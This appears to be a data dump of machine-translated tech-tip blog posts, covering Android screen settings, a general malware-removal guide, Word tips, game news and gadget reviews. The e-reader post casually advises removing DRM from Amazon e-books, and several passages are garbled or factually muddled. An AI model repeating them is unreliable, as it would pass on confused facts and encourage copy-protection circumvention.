upgraded to Android 7.0, it can be customized right on the operating system.\nWe click on the Settings item on the device and then go to the screen setup item. Click next to Screen resolution , then select the resolution you want by moving the horizontal bar below.\nClick Apply above to save the changes to this screen resolution.\n    Method 2: Adjust in developer settings Step 1:\nFirst, users need to enable developer mode. Also the Device settings view , select the About phone section . Then select the Version number item and the message will appear You are a developer .\n    Step 2:\nReturn to the Settings screen on your device and then go to Developer options. At the Minimum width section you will see the width set to the default mode. We will proceed to change the width of the screen . The larger the DPI, the more content will be displayed.\n   With a few simple steps we can change the DPI index on the device screen to match the needs of use. If the Android device has upgraded to the Android 7.0 version, you can adjust the screen resolution using the available feature. Or with lower Android versions need to use developer mode.\nSee more:\nPhone does not charge or charge slowly, this is how to handle it How to adjust the fast charging feature on Samsung How to clear cache and delete different Android application data? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGacoJ56sLqMmqWdqp%2BesW68x6ilnqs%3D\n","link":"/post/how-to-customize-dpi-on-android-phones/","section":"post","tags":null,"title":"How to customize DPI on Android phones"},{"body":"Counter Strike 1.6, the game must be no stranger to many FPS game lovers. Perhaps from the day of its launch until now, CS 1.6 is still a game that many people choose to entertain as a tool after many hours of work or intense study.\nDue to its long appearance, the current CS 1.6 download also has many websites that support users to download, but sometimes die links. The player must search for the download link again.\nBut for now you can play CS 1.6 on the web. Just recently, a group called CS-ONLINE.CLUB has introduced CS 1.6 game on the web and gamers can fully experience this game on the web for free. Here is how to play CS 1.6 on the web.\nInstructions for playing Counter Strike 1.6 on the web Step 1: Visit the link below, then you will see the selected area table Asia and India (Asia and India).\u0026nbsp;\nhttps://cs-online.club/en/servers    CS web currently has several servers located in Asia, Russia, USA, India, Canada, Germany and Brazil. Select the country you want to play and a server will appear below, along with a mode and map. Includes familiar maps that are de_dust, de_dust2, cs_assault, cs_italy.\n  Step 2: Click Connect and soon you will be in the game room. Click Full Screen to open all the screens to play. The control of CS 1.6 web is the same as the default control of CS 1.6 on PC. Wait about 5-10 minutes for the game to finish loading.\n  Step 3: Choose your team, here you will also see the number of players and games won on each side.\n  Step 4: Press the ESC key to show the mouse and exit the game for the game.\n  Now you can play CS 1.6 on the web without downloading the game to your computer, maybe for those who are familiar with the right Del key to buy, it will take a bit of time to buy with the B key.\n  Not very relevant, but if you're looking to get free Coin Master spins, check out the list of ways to get spins and gold in Coin Master.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZur9JmaG9ln6N6tbTEZq6emg%3D%3D\n","link":"/post/how-to-play-cs-1-6-on-the-web/","section":"post","tags":null,"title":"How to play CS 1.6 on the web"},{"body":"These are extremely dangerous programs. When your computer is attacked by a virus or malware, they will start to devastate your computer.\n1. Dialers, Trojans, Viruses, and My Worms Oh Viruses, Malware must be names that are no stranger to users. These are extremely dangerous programs. When your computer is attacked by a virus or malware, they will start to devastate your computer.\nMalware Malware is a program or file that is developed for the purpose of harming. Malware includes viruses, worms, trojan horses, spyware, hijackers and some other adware.\nAdware Adware is a pop-up ad on a computer displayed on a computer or on an advertisement. But not all adware is malware.\nThere are many legitimate adware displayed on ads to earn revenue. These adware are not considered malware.\nBackdoor Backdoor is a program that allows remote users to execute commands and other activities on the computer without your permission.\nThis type of program is often used to attack other users' computers, distribute copyrighted software or media, or hack other computers.\nDialler Diallers are calls that charge much more than regular calls.\nHijackers Hijackers is a program for hijacking certain Internet functions, such as redirecting your homepage to the hijacker's home page (hijacker), redirecting search queries to unwanted searches, or replacing search results from popular search engines with their own information.\nSpyware Spyware is a program that controls activities and information on your computer, then sends this information to another remote computer.\nTrojan Trojans that are set up like a program are not harmful but are actually extremely dangerous programs. Trojans provide backdoors to your system.\nViruses The virus is a program that runs on its own, able to replicate itself by infecting programs and other files on your computer.\nViruses are a generic term that includes trojans, worms and viruses, not a virus.\nWorm Worm is a running program, capable of spreading to other computers using techniques for sending mail to email addresses found on your computer or via the Internet.\n  2. Mechanism to spread the virus Just like any program, in order for the program to work, you must start. Malware is similar. Malware spreads by creating a configuration item in the Windows Registry to launch when your computer opens.\nFor users with average level, it is difficult to detect this. However, you can use Autoruns to check and detect malware on your computer.\nWhen you launch the application, Autorun will list all the different programs that start up while you boot into Windows. For the most part, most programs are safe.\n3. Use anti-virus and anti-malware software to remove Trojan, Virus, Worm .   You can use anti-virus and anti-malware software to remove Trojan, Virus, Worm . such as:\nKaspersky Anti-virus\nESET Nod32\nAVG\nAvast\nBitDefender\nMicrosoft Security Essentials\nTrend Micro\nAntivir\nAnother good advice for you is to install and use MalwareBytes' Anti-Malware and Emsisoft Anti-Malware. Both programs kill viruses quite well and effectively than other programs.\n4. How to remove Trojan, Virus, Worm . manually 1. Download and extract the Autorun program using Sysinternals tool into C: Autoruns .\n2. Start your computer in Safe Mode so that malware cannot affect it.\n3. Navigate to the C: Autoruns folder that you created in step 1, then double-click autoruns.exe .\n4. When the program starts, click on Menu Options and activate the following options by clicking on each option:\nInclude empty locations Verify Code Signatures Hide Signed Microsoft Entries 5. Then press F5 to Refresh the new installation list.\n6. The program displays information about your startup items in 8 different cards. In most sections, the file name you are looking for will be found under the Logon and Services tab. However, you should check all the tags to make sure the malware does not appear on the other tags.\nClick on each card and take a look at the list of file names you want to remove. You can see these files under the Image Path column .\nIt is important to note that many malware programs can disguise themselves by using file names just like valid Microsoft files. So it's important to know exactly the files and malware folders that are residing.\n7. After finding the items related to malware. To delete these items, right-click on them and select Delete. That Startup item will be deleted from the Registry.\n8. Next, proceed to hide these files.\n9. After you remove the malware from the Registry and delete the files, restart your computer in normal mode.\nRefer to some of the following articles:  How to choose antivirus applications for Windows and Mac   How to disable and completely remove Windows Defender?   Your Windows 10-based computer has a virus, this is a fix   Is antivirus software really slowing down your computer?  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYytqaiikaN6t7XRrqpmr5%2Bnum670WakmqSnlr%2Bm\n","link":"/post/how-to-remove-trojan-virus-worm-or-malware/","section":"post","tags":null,"title":"How to remove Trojan, Virus, Worm or Malware?"},{"body":"Among the world's upcoming Windows 7 products, three laptops have never been announced, such as the Pavilion dv3 TouchSmart with a 13.3-inch touchscreen . There is also a thin 11.6-inch Pavilion dm1 equipped with CULV power-saving chip and Pavilion dv8 with 18.4-inch screen using Core i7 chip.\n  Netbook HP Mini 110 uses Windows 7 Starter, Atom chip, 250 GB hard drive, 1 GB RAM, 5 in 1 card reader, 92% standard size keyboard.\n  Pavilion dm1 11.6 inch screen with hard drive up to 500 GB, 5 GB DDR3 RAM, 9-hour battery life and Windows 7 Home Premium operating system.\n  Entertainment laptop HP Pavilion dv6 (15.6 inch, 500 GB hard drive, 4 GB RAM, use Intel or AMD chips).\n  HP Pavilion dv7 (17.3 inches, 1 terabyte hard drive).\n  HP Pavilion dv8 has an 18.4-inch screen, Core i7 1.6 GHz chip, 4 GB RAM (Can be upgraded to 8 GB), 1 GB GeForce GT230 graphics, 640 GB hard drive, Blu-Ray drive and Altec Lansings speaker.\n  HP Envy 13.\n  HP Envy 15.\n  Series of notebooks use HP TouchSmart touch screen technology.\n  Including a Pavilion dv3 version with TouchSmart technology.\nncG1vNJzZmismaXArq3KnmWcp51ktbG%2FjGtnaXFdrLavwMSrZKWZoKm8sXnCqKOlnZOptrC6\n","link":"/post/hp-s-2009-winter-laptop-collection/","section":"post","tags":null,"title":"HP's 2009 winter laptop collection"},{"body":"The Chrome Remote Desktop application that Google has just released allows you to control a Windows or Mac computer using an Android device.\n  This application was previously available on Google Chrome browser via Chrome Remote Desktop extension. With the Android version, users of Android devices can also access their Windows or Mac computers more conveniently.\nTo get started, you must first download and install the Chrome Remote Desktop utility for Google Chrome . Then go to the Settings page of this utility.\n  Click Get Started and then Enable Remote Access . You will be asked for a PIN, enter your PIN as you wish and remember it.\n  Then use the Google account you use on Google Chrome to log in to your device or application ( if asked ). You will see a list of computers that have Chrome Remote Desktop installed. Click on the computer name you need to connect.\n  A window asking for a PIN code will appear, enter the PIN you set up earlier and click Connect.\n  And this is the result.\n  You will be provided with a virtual keyboard to work with the familiar Crtl-Alt-Del quick command to manipulate. The Disconnect option will disconnect between your computer and Android device as soon as you click.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnCoamopZViv6a5zq2cZpyVqLi1u89mmKmonJ6wosDIqKVmp55irq%2Bw0aignQ%3D%3D\n","link":"/post/instructions-for-using-chrome-remote-desktop-application-on-android/","section":"post","tags":null,"title":"Instructions for using Chrome Remote Desktop application on Android"},{"body":"Frequently working with Word, with multi-page documents, the use of Styles to quickly format documents in a professional manner is essential. Styles can help you create automatic table of contents quickly, format text according to certain standards.\nThe following article will guide you how to use and create styles in Word.\nUse the styles available in Word Microsoft Word provides many styles for you to use in the Styles section of Home.\n1. To display the Styles in full, click the extended icon as follows:\n  Click on the extended icon to display the Styles frame:\n  2. You can change the format settings for existing styles. You right-click on the Style you want to change the format and choose Modify .\n  In the Modify Style dialog box , you can change: font, font size, font style, font color, left alignment, center, right, line spacing, paragraph spacing in Formatting section .\n  Also you can format more detail by clicking Format . In Format you can format paragraphs (paragraphs), tabs, borders (borders), languages ​​(language), automatic numbering (numbering) .\n  After adjusting, select OK .\n3. To use the Style , you can select the text line (or highlight it). Click on Styles .\n  Select the Style you want.\n  Or you can choose Style first, then enter the content.\nCreate new Styles with New Style to use 1. Select the New Style icon .\n  2. In the dialog box Create New Style from Formatting , you enter the Style name in the Name box (you should name the purpose of the Style to remember), in Style based on you choose the style inherited from the available styles . Then you also set the text format as font style, font size, font .\n  Add other format settings when you click Format .\n3. After you have installed the new Style , select OK to save, the Style you created is already in the Styles list.\n  Create a new Style with New Quick Style 1. Choose any style in the list of available styles.\n  2. Next select the More icon in the Styles section.\n  3. You select Save Selection as a New Style .\n  4. To quickly create a Style, enter the Name (the name for the Style) and click OK .\n  If you want to install format details, then select Modify to install.\n  After creating, the Style will be displayed in Styles.\n  Determine the specific style of a part of a document 1. You put the cursor in any position in the text you want to identify.\n2. Select the icon button of the Style Inspector .\n  Then there will be a dialog box displaying Style information of that text.\nSo now you can create Style and use Style to format your documents quickly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnSrbClnV2eu27Dzqub\n","link":"/post/instructions-for-using-style-in-word/","section":"post","tags":null,"title":"Instructions for using Style in Word"},{"body":"Although Riot Games 2019 is in progress, Riot Games keeps updating buffs and nerfs of champions in the next updates for gamers. And in this version of League of Legends 9.22, Riot Games surprised when looking at the heroes who are quite strong at Worlds 2019 such as Kayle, Xayah, Pantheon, Kayle and some other generals.\nThe first information about the 9.22 League of Legends update was also announced by League of Legends game leader Riot Mark Yetter on his personal Twitter.\n  The reason Pantheon is on this list is because this is the highest ban in the Worlds 2019 and also a champion with a strong solo lane. Kayle though nothing outstanding at the beginning of the match, but later on, the more cumbersome when alone can fan the enemy team.\n  With two girls Kai'Sa and Xayah, these are the gunners considered to be superior to the other gunner generals. With certain advantages, Kai'Sa and Xayah are always selected by professional teams to use. There are many opinions of gamers that, besides Kai'Sa, there are not any champions that can compete with Xayah.\n  Also in this version, the 2 Supporting too much like Blitzcrank or Nautilus are quickly nerfed by their previous big buffs.\nAshe and Malphite are currently very strong in the solo queue, especially on the high rank with the ability to open fights from afar and fly kites even though she is not highly mobile.\nShe has also been continually buffed all this time. At level 6, Ashe can create a mutation with a stun skill from a distance. And from there becoming a gunner extremely strong road that hardly anyone can keep up.\n  Malphite magic power is being chosen a lot in the jungle because of the high skill at directing enemies, causing many players to feel very inhibited.\nAs for the buffed generals, these are all names that have been horribly nerfed in the last version. Or are the outmeta generals compared to his peers. Typically, Sylas gets a little buff up and then nerf, then buffs and nerfs, buffs and nerfs, buffs and nerfs . all the time.\n  That's some initial information about buffs and nerf champions in League of League 9.22. Still know that maybe your favorite champion is being nerfed and those champions you don't want to touch are buffed like god, but we always have to accept what Riot Games brings to gamers.\nHow to use League to check the information of League of Legends players League of Legends: Top 4 useful but forgotten equipment in the game Top 5 champions who rank extremely well despite the meta in League of Legends ncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WTna6uvMiopaxlkqqzp7HDZpinnF2jsrOyxJ1koqZdobKis9SeZKieXaGyqLHNnapmcWJn\n","link":"/post/list-of-champions-buffed-and-nerfed-in-league-of-legends-9-22/","section":"post","tags":null,"title":"List of champions buffed and nerfed in League of Legends 9.22"},{"body":"Assume that someone sends you a Word document that contains a lot of photos, and you need to save these images as separate image files on your computer for some reason the sender That Word document lets you not send attached image files.A common method that we often use is to open the Word file and select each image one by one, copy and paste the image into an image editing application and then save the image as a separate file. This means that if your Word file contains how many images, you have to repeat these actions many times. If there are only a handful of images in this Word file, doing these repetitions is nothing to worry about, but what if there are too many images in it? Probably no one wants to do that. This article will introduce you to another method to filter photos from Word through some simple manipulations and of course very quickly. If you are using Microsoft Word 2000, 2002 / XP or Word 2003 versions, you only need to save the word file containing the image as a web page, but if you use Word 2007 version, you only need to unzip this Word file. Save as Web page This method applies to Word 2000, Word 2002 / XP, and Word 2003 versions. First, open this file in the Word application. Go to the File menu and select Save As .  Select the address to save the file. Select Web Page (* html, * htm) in the drop-down menu of Save as type (Figure 1).  Then click Save .  Figure 1: Save the word file as Web Page.\nWhen saving a word document as a web page, Word creates a .htm file and a folder containing the images embedded in the .htm file (Figure 2).  Figure 2: Two files created after saving the word document as Web Page.\nWord by default saves the supported files to a sub-folder in the same location as the .htm file. You can assign Word to save the files in this subdirectory to the same location as the .htm file instead of saving it to the folder by changing the settings in the Web Options window. This .htm file will contain the text of the document, formatting information, attributes, reference images, etc. When you open this .htm file in an HTML editor, you will see the code that Word created. As mentioned above, the folder contains embedded images in Word documents and a filelist.xml file is shown in Figure 3.  Figure 3: Folder containing embedded images and .xml files.\nIf the embedded images have been resized in Word, this folder will contain both the original image and a resized copy of these images. Word will retain the original format of these image files (such as .jpg, .png, .) but will not retain the original name of the file. Word renames the file in ascending order starting from the first image in the document. Each original image will be followed by a resized copy if available. Depending on the settings in Web Options, Word can automatically create an resized image when you save the file as a Web page. Word can also convert image formats to .gif. For example, if you do not specify Word to use the .png image format in Web Options and you insert a .png file into the document, the supported files will contain both the original image file and a resized copy. and format. Now you can copy these image files to another location. Note: If you just want to get the image files in the Word document (ie the files may have been changed) then select Web Page, Filtered (* .htm, * .html) in the drop down list instead for choosing Web Page (* .htm, * .html) . Unzip .docx file In Word 2007, Microsoft introduced a new XML-based file format, .docx. This format is a ZIP Container, containing many XML files and all embedded images. To access the embedded images in the .docx file, do the following: If the file is not a .docx file (not yet .docx format), open it in Word 2007 and then save the file as Word Document (* .docx). Change the file extension on the original file from .docx to .zip (Figure 4).  Figure 4: Convert .docx to .zip.\nThen use the ZIP application to open this .zip file, then the image files will be displayed at the top of the list (Figure 5).  Figure 5: Use the ZIP application to open the .zip file\nAnd you can copy these image files to the desired location.ncG1vNJzZmismaXArq3KnmWcp51kwKLCxGagppmXmsButc1mrqiqlGKzqrjErGSipqSkerSxz5qpmqyVYrOquMSs\n","link":"/post/save-images-in-word-files-into-separate-files/","section":"post","tags":null,"title":"Save images in Word files into separate files"},{"body":"Taking care of crops, raising livestock, poultry, . are familiar and important jobs to restore the farm that the deceased grandfather left.\nIn this article, discover Story of Seasons: Friends of Mineral Town tips to get the most out of your farm, and know some essentials to get started.\nTips for playing Story of Seasons: Friends of Mineral Town Buy some chickens   One of the easiest ways to make sure to start earning an income is to buy a chicken. Chickens are so easy to raise, all you need to do is put an egg in the incubator. They can graze outside when the player rings the bell, which limits the amount of food they need in a year. On top of that, the first chicken only has 1500 gold, which is a pretty low price for animals that can double in price after 3 days.\nLimit farming   While everyone's first farmer instinct might be to plow the field in preparation for the crop, this won't work for the first few seasons. The character's endurance in the early stages is extremely limited, while the stamina potion is quite expensive. People will also quickly learn that watering each plant one by one can take up an entire day in the game. Try to create no more than 9 plots of land to start farming.\nTake advantage of the hot spring   Character's stamina will be exhausted after the first few seasons, this is when the hot springs come into play. Springs are located in the mountains and when used for several hours, the character can completely restore their stamina back to full. This is a great mid-day stop, especially if people need to mine the farm some more.\nPriority upgrade   One way to quickly raise energy is to get some copper and silver ore from the mines. They can be found in the first few levels and when upgrading requires only a single ore. The first upgrades are also extremely cheap, but still very useful, because without them, the character would take a day to work.\nFeed the animals outside   As mentioned with chickens, the player can feed livestock outside, including cows, alpacas, and rabbits. By ringing the bell outside the barn, the animals will go out to graze on days when it doesn't rain. At 8 p.m. each night, the bell will automatically ring again to send them outside.\nAs an added bonus, not feeding animals in this game won't make them sick, but cows won't make milk, chickens won't lay eggs, and camels and sheep won't make wool.\nCheck out the TV channels in the house   The TV in the house is a great tool that gamers should get used to using. Any channel can help with gaming, especially the weather channel will aid in better planning your day. Meanwhile, the educational channel will give tips and bring interesting information. In addition, on certain days, the entertainment channel will provide hot recipes and the news channel will remind people of upcoming festivals.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmarpKS%2FunnOn2SsnZGovK%2B%2FjJ%2Bpop2emcBuu8VmpKKmlaeurXnTqK6n\n","link":"/post/tips-for-playing-story-of-seasons-friends-of-mineral-town/","section":"post","tags":null,"title":"Tips for playing Story of Seasons: Friends of Mineral Town"},{"body":"Recently, Tom's Guide site has purchased all the latest, most popular smartphones in the US for durability testing by drop drop method. This smartphone's durability test costs more than $ 18,000.\nTests on the test are mainly based on the user's daily routine including dropping at a height of about 1 meter into the toilet bowl, dropping at a height of 1.2 to 1.8 meters to the surface. concrete or wood face with a collision surface from the edge of the machine, the glass surface to the back. The device will be rated for durability, if completely broken, will be removed.\nAs a result, the top position of the most durable smartphone belongs to Motorola Moto Z2 Force ($ 500) with 8.5 points, the second position belongs to LG X Venture ($ 329) with a score of 6.6 points. This device passed the test that fell to the concrete floor (still intact) but due to its lack of water resistance it failed at the test of falling to the toilet.\n  Test drop drop iPhone X.\nApple's iPhone X ($ 999) ranked third with 6.2 points, followed by the LG V30 (810 USD - 6.2 points) and Samsung Galaxy S9 respectively (720 USD - 6 points). It is noteworthy that the iPhone SE still has a high durability, which is in the top 10 with 3.9 points released since 2016. These phones all pass the test of falling into toilet toilets thanks to their water resistance.\n Ranking of high-end smartphones in the US (10 is the highest score).\nSee more:\nUsing 7 iPhone Xs to hold a 9mm pistol bullet, this guy has to pay a price that is not cheap 2 shortcomings almost genuine smartphone would make people bored Turn on airplane mode when charging the smartphone battery for faster charging, really works? ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkrKWRp8GxtM6nnGaho2LBqbGMpqasrF2ZwrOtwaWc\n","link":"/post/which-smartphone-is-the-most-durable/","section":"post","tags":null,"title":"Which smartphone is the most durable?"},{"body":"For anyone with a compatible iPad, the Apple Pencil is a must-have accessory. The stylus designed by Apple is perfect for everyday note taking and more creative tasks like sketching or drawing.\nToday, TipsMake.com will mention 7 Apple Pencil accessories to make this pen more awesome.\nWhich Apple Pencil accessory must have? What about second-generation Apple Pencil? 1. Charger / Stand for TechMatte Apple Pencil 2. Apple Pencil case of Catalyst 3. Twelve South's Apple Pencil PencilSnap case 4. Belkin Apple Pencil Case + Stand 5. Real wooden case for Apple Pencil of Toast 6. PencilCozy Apple Pencil cover protection device 7. iPad and Apple Pencil 2-in-1 charger cable of Dreamvasion What about second-generation Apple Pencil? Just to note, all of the accessory options in this article are for the first-generation Apple Pencil, compatible with every iPad Pro, except for the 2018 version. They are also compatible with 2018 iPads.\nThe second generation Apple Pencil has been heavily redesigned. Compatible only with 2018 iPad Pro models, the stylus attaches magnetically to the edge of the tablet to pair and charge. Due to the built-in charging system, at the time of writing, no accessories were available for that model.\n1. Charger / Stand for TechMatte Apple Pencil Reference price: $ 13.99 (325,000 VND)\n  One of Apple's Pencil's most unpopular features is the way it charges. After removing the easily-lost lid, you'll find a Lightning connector. Apple intends to charge (and pair) the stylus by putting it into the iPad's Lightning port. Often ignored or lost male-to-female Lightning cable adapters are also included in the Apple Pencil. However, in actual use, neither of these options makes much sense.\nThankfully, there are several charging accessories available to make that chore a lot easier. A great choice for everyone is TechMatte's Apple Pencil / charger product. Designed in aluminum like Apple, this dock comes with an integrated cable for any standard USB port.\nWhen the Apple Pencil needs charging, simply plug the Lightning plug into the dock. There is even a place to place the lid. Even if the stylus doesn't need to be charged, simply putting the tip of the pen in the hole to put the lid on will mean it's ready to use right away.\n2. Apple Pencil case of Catalyst Reference price: $ 27.99 (650,000 VND)\n  After using Apple Pencil for any period of time, you may notice two other issues. The stylus is made of a smooth material that can be difficult to hold. And because of its circular design, the stylus can easily be rolled when placed on a flat surface, such as a tabletop. But those problems will be solved with Apple Pencil products of Catalyst.\nThe case easily fits into the Apple Pencil and is made of silicon to make it easier to hold. The triangular shape of the product will help the stylus stay where you place it. In addition to a location to place the Lightning adapter, Catalyst also includes a universal hook so you can attach a stylus and carrying case to a backpack or purse.\n3. Twelve South's Apple Pencil PencilSnap case Reference price: $ 29.99 (696,000 VND)\n  If you use a magnetic iPad cover such as Apple Smart Keyboard, Apple Smart Cover, Apple Smart Folio, etc. TwelveSouth has a great solution. Apple Pencil is contained in PencilSnap and uses magnets to attach to those bags. You can also use it as a standalone case for the stylus.\nMade of genuine leather, the skin is black or light brown.\n4. Belkin Apple Pencil Case + Stand Reference price: $ 23.84 (VND 552,000)\n  On the go, carrying Apple Pencil safely with your iPad is always a good idea. Belkin Apple Pencil case + stand will help you do that. This case can contain Apple Pencil, Lightning adapter, pen cap and spare pen tip in separate compartments. The magnet section helps keep the lid firmly attached when moving.\nThis product can also act as a stand for Apple Pencil. Just put the pen tip into the available base.\n5. Real wooden case for Apple Pencil of Toast Reference price: $ 24.09 (559,000VND)\n  If you want to use Apple Pencil more seriously, Toast's genuine wooden case for Apple Pencil is the right choice for you. A piece of leather surrounds the stylus and makes it look like a real pencil. The product has 4 different colors made from solid woods: walnut (walnut), ash, bamboo or ebony.\n6. PencilCozy Apple Pencil cover protection device Reference price: $ 2.49 (VND 58,000)\n  PencilCozy's Apple Pencil protective device takes a simple approach to protecting the small but important part of this stylus. You can attach the cap to this protective accessory, then attach it to the Apple Pencil pen body. Whenever you need to remove the cap to charge, it will always be just a few centimeters away from the pen.\nYou can choose 1 of 2 different colors. The white version works perfectly with the Apple Pencil, while the glow-in-the-dark version can help you easily find the stylus in your pocket or at night. Besides, this protective device will also prevent Apple Pencil from being rolled.\n7. iPad and Apple Pencil 2-in-1 charger cable of Dreamvasion Reference price: 72,000 VND\n  Instead of having to choose whether you're going to charge an iPad or Apple Pencil, this 2-in-1 Dreamvasion cable offers the perfect combination. Along with the regular Lightning plug, this cable also has an integrated Apple Pencil charger. The cable is made of nylon braid wire to increase its strength and prevent it from tangling. Cable is available in black or silver.\nWhile the Apple Pencil is easily one of the best stylus options available, it's not perfect. These accessories can help remove some of the drawbacks and make Apple Pencil part of the workflow on your iPad.\nIf Apple Pencil doesn't appeal to you or if you're looking for a stylus for your iPhone, you have plenty of other options. Take a look at the list of great Apple Pencil alternatives that TipsMake.com has suggested.\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51khG6tz6mjnmWgmruktctmmJyblajAsL7Inqpmpp%2BperW7jJucZqWZqMCmsA%3D%3D\n","link":"/post/7-apple-pencil-accessories-not-to-be-missed/","section":"post","tags":null,"title":"7 Apple Pencil accessories not to be missed"},{"body":"It can be said that the current tablet market is relatively gloomy compared to smartphones or laptops.However, if you are not a person who regularly updates on technology news, it is not easy to choose a suitable tablet for yourself.In this case, we will consider the need for digital reading on electronic devices.The growing popularity of e-books gives you more choices for reading, e-newspaper, but to invest in a device that only specializes in reading books is too wasteful. ?While with tablets, you can still not only read books, electronic newspapers comfortably, but also can perform a lot of tasks both in entertainment and other work.Below is a list of some of the best tablet computers to read books, magazines and documents, arranged according to each individual criteria so you have a better overview of this technology product!\nTablet for the best reading experience: Kindle Oasis   \nEverything else is nothing outstanding, but the ability to support excellent e-reading has made the Kindle Oasis the best reading tablet on the market today.This model has been released in the market since the end of 2017, and the only point of the Kindle Oasis is at a slightly higher price compared to the average level of devices in the same segment.\nKindle Oasis is available in 8GB and 32GB internal memory versions.You can also choose between versions with additional wireless connectivity or the option to turn off the display of ads on the screen (the ad supported version will cost less).\nKindle Oasis is equipped with 7-inch screen, using backlight, 300ppi resolution and adaptive light sensor.Such a 7-inch screen size may allow the Kindle Oasis to display more than 300 words on a screen page, which is more than a typical 6-inch reader like the Kindle Paperwhite.Moreover, this tablet also became the first Kindle equipped with water-resistant features.Specifically, the Kindle Oasis is IPX8 waterproof, you can drop the device into a water depth of 2m in 60 minutes without worrying.With the Kindle Oasis you can comfortably read books by the pool, beach or go fishing without thinking about the risks when the device drops into the water.\nIf you sometimes feel the reading is too boring, the Kindle Oasis will also support audiobooks, allowing you to play audio books through speakers or headphones for a better experience.\nFinally, the design of the Kindle Oasis is very special.The reading compartment is deviated to the left, the larger right bezel is the holding area as well as the page dials and other device management tools.This design helps to optimize the grip and control of the device, giving users the most comfortable experience.Kindle Oasis only has 2 color versions: Gray lead or champagne gold.\nKindle Oasis has a selling price of about VND 5 million.\nTablet for the best digital experience (not books): Onyx BOOX Max 2   \nIf you need to read many academic materials, technical documents, charts and slides, music or other non-book materials, you will need a larger screen.The 7inch and smaller 7inch models will not be able to fully and clearly display a large amount of information on the screen at the same time, and now, Onyx BOOX Max 2 will immediately promote its advantages. .\nWith 13.3inch e-ink electronic screen, Onyx BOOX Max 2 is one of the biggest screen tablets you can find on the market.This is also one of the best mobile devices that supports reading PDF files.\nOnyx BOOX Max 2 supports PDF and DJVU files, as well as offers a variety of tools to help users easily customize how documents are displayed on the screen to optimize the reading experience.In terms of hardware power, you will find 2GB of RAM, 32GB of internal memory and 1.6GHz processor.It is fair to say that this configuration is not as strong compared to current mobile devices, but it is okay to give light tasks like electronic reading.A unique feature on Onyx BOOX Max 2 is that the device also has HDMI support, allowing you to use the tablet as a second screen when you want to read long, complex documents comfortably. more on the computer or even the TV screen.In addition, Onyx BOOX Max 2 also has a Wacom stylus, which allows you to input data by writing directly on the screen, which is very convenient and efficient.\nOnyx BOOX Max 2 has a selling price of about VND16.5 million.\nThe best tablet for reading comics and books, newspapers with pictures: Kobo Aura One   \nKobo's devices have recently brought a tougher competition in the market and directly challenged the dominance of Amazon Kindles for many years.There are three main reasons why many people prefer Kobo tablets over Kindles: First, Kobo's devices are capable of supporting more file types.Second, you can flexibly move e-books as well as other documents from your device with your computer.Finally, Kobo's devices often come with a book rental service on the OverDrive library, built as a built-in feature of the machine's operating system.\nMore specifically, our Kobo Aura One can read EPUB, PDF, MOBI, TXT, HTML, RTF, CBZ and CBR files.In particular, the ability to support CBZ and CBR files will be especially appreciated by comics, magazines and other books and newspapers.\nWith internal memory with 32GB storage capacity and 7.8inch 300ppi screen, there will not be any worrying issues in storage and visibility of Kobo Aura One\nNote: Remember, you can completely remove DRM from ebooks purchased on Amazon, then convert those e-books to AZW format to read them on your Kobo tablet.\nKobo Aura One has a selling price of about VND 7 million.\nThe best cheap reading tablet: Amazon Kindle   \nPerhaps not much more introduced by Kindle is an already popular Amazon product line.If you are looking for a cheap tablet but still have a great quality, try considering the Amazon Kindle.Amazon Kindle is the cheapest device in Amazon's Kindle book reader family, which has stopped production since mid-2016.\nThe tablet has a 6-inch screen, 167ppi resolution and 4GB of internal memory.Like its older brother, the Kindle Oasis, it also supports audiobooks and Bluetooth features.However, Amazon Kindle basically doesn't offer free mobile connectivity like Oasis or Paperwhite, and doesn't use backlighting either, which means you won't be able to use the device in the dark.Amazon Kindle can read AZW, AZW3, TXT, PDF, MOBI and PRC files, and sell for approximately 1.8 million VND.\nThe best versatile tablet: Amazon Fire HD 8   Of course, you don't have to buy a dedicated e-ink tablet to read e-books.You can use regular iOS and Android devices and install dedicated ereader applications for the operating system you are using.Going straight to the point, if you want to buy a regular tablet to read e-books, we recommend using Amazon Fire HD 8. The 8-inch screen creates a perfect balance between size and ability. Read eBooks as well as comfort when you use other applications.Moreover, because this is a device created by Amazon, it will still be seamlessly integrated with Amazon's ebook store and Kindle application - which are the biggest contributors to retaining users with its products.In addition, you can also install other applications from the Amazon Appstore and the sideload APKs of Android apps not in the store.Fire HD 8 is also perfectly compatible with other Amazon services like Alexa, Prime Video, Prime Music and Kindle Unlimited.\nBasic information about the device:\n8 inch screen, 800 x 1280 pixels Front / Rear Camera: VGA / 2MP CPU: Quad-core 1.3 GHz Memory: 16GB RAM: 1.5GB Weight: 369gr Size: (Length x Width x Thickness) 214 x 128 x 9.7 mm Price of VND 1.7 million Best high-end tablet: iPad Mini 4   \nIf you are looking for the best high-end tablet that can run applications other than reading books, the iPad Mini 4 is a device that should be on your consideration list.\nLike the Amazon Fire HD 8, the iPad Mini 4's 7.9-inch screen is small enough that you can hold it comfortably with one hand and read books continuously for a long time, but big enough for you to work effectively. Results with other applications.\nWith 2048 × 1536 resolution, 128GB internal memory, 2GB of RAM, 8MP camera, mobile network support and Wi-Fi as well as integrated stereo speakers, this product promises to bring users a spread Great entertainment experience.\nNote: Because neither the iPad Mini nor the Fire HD 8 use the e-ink screen, the eyestrain may become a problem after using the device continuously for a long time.\niPad Mini 4 is priced at about 8.5 million dong.\nThe lightest reading tablet: Kobo Clara HD   \nIf you are an avid reader but have to move a lot, then the weight of the reading tablet will be one of the top factors you need to consider.\nThe Amazon Kindle cheap that we have just mentioned above weighs only about 160gr and is one of the lightest reading devices on the market that you can find.However, if you are willing to accept a little extra money to get some more interesting features and utilities while the most important factor is still guaranteed weight, then Kobo Clara HD is only heavy 166gr will be a great choice.\nThe software update recently redesigned the OverDrive library built into Kobo's products.Now if OverDrive is the source for searching your content, Kobo Clara HD will be the best reading device on the market that 